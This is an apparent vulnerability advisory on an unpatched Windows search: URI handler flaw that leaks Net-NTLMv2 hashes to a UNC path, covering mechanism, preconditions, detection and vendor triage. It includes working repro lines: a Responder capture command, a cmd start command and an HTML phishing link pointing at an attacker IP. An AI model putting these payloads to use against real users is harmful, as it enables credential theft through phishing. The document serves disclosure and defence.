Unpatched NTLM Leakage in Windows search: URI Handler, Same Bug, No CVE, No Fix

What it is

An unpatched NTLM credential-leak in the Windows search: URI handler, disclosed by Huntress. It is the same primitive as CVE-2026-33829 (the Snipping Tool ms-screensketch: bug, CVSS 4.3, patched April 14, 2026), reported to MSRC the day after that patch and closed as "below the servicing bar" — no CVE, no fix. Reproduced on Windows 11 23H2 Build 22631.6199 and 25H2 Build 26200.8524.

How it works

search: and search-ms: are registered separately in HKCR but share the same command line and the same DelegateExecute CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b} — SearchExecute (CLSID_SearchMSExecute) in ExplorerFrame.dll. A crumb=location: parameter pointing at a UNC path makes the shell reach out to that path, triggering NTLM authentication and leaking the victim's Net-NTLMv2 hash, capturable with Responder.

Preconditions / Affected

Standard (non-admin) user, default Defender, no developer mode or AppX. Works via a clicked link with no prompt (tested in Edge) or a typed command. Only the first invocation per logon leaks; subsequent attempts return access-denied until the user logs out and back in — for phishing, the first click is the only one that counts.

What to do

There is no vendor patch. To reproduce/test:

Attacker (Kali):

responder -I eth0 -wv

Victim (cmd):

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

The start "" form with quotes is required — pasting the URI bare into cmd makes & a command separator and the repro appears to fail when it hasn't. Link-click delivery:

<a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a>

Detection note: the hash leaves the machine before Windows renders its "Windows cannot access the specified device, path, or file" dialog — the dialog is a receipt, not a block. Zero Defender alerts fire. Any real fix must land in SearchExecute/Explorer, not the URI scheme; patching search-ms: alone would not help.

Caveats

• Net-NTLMv2 is not the raw password; usefulness (relay vs. offline cracking) depends on target configuration.
• The crumb=location: leak on search-ms: (Varonis, 2024) and search: as a vector (Trellix, 2023) are prior art; the novelty is bridging them plus the triage-inconsistency story.
• Per MSRC's own words, servicing of Moderate URI-handler NTLM leaks is "case-by-case" and exception-driven — CVE-2026-33829 (itself rated Moderate) was serviced; this one and two prior Varonis reports were not. Do not expect a fix.

flowchart TD
    A[User clicks search: link] --> B[Shell DelegateExecute]
    B --> C[SearchExecute CLSID in ExplorerFrame.dll]
    D[search-ms: link] --> C
    C --> E[UNC reach-out via crumb=location:]
    E --> F[Net-NTLMv2 hash sent to attacker]
    F --> G[Access-denied dialog shown AFTER leak]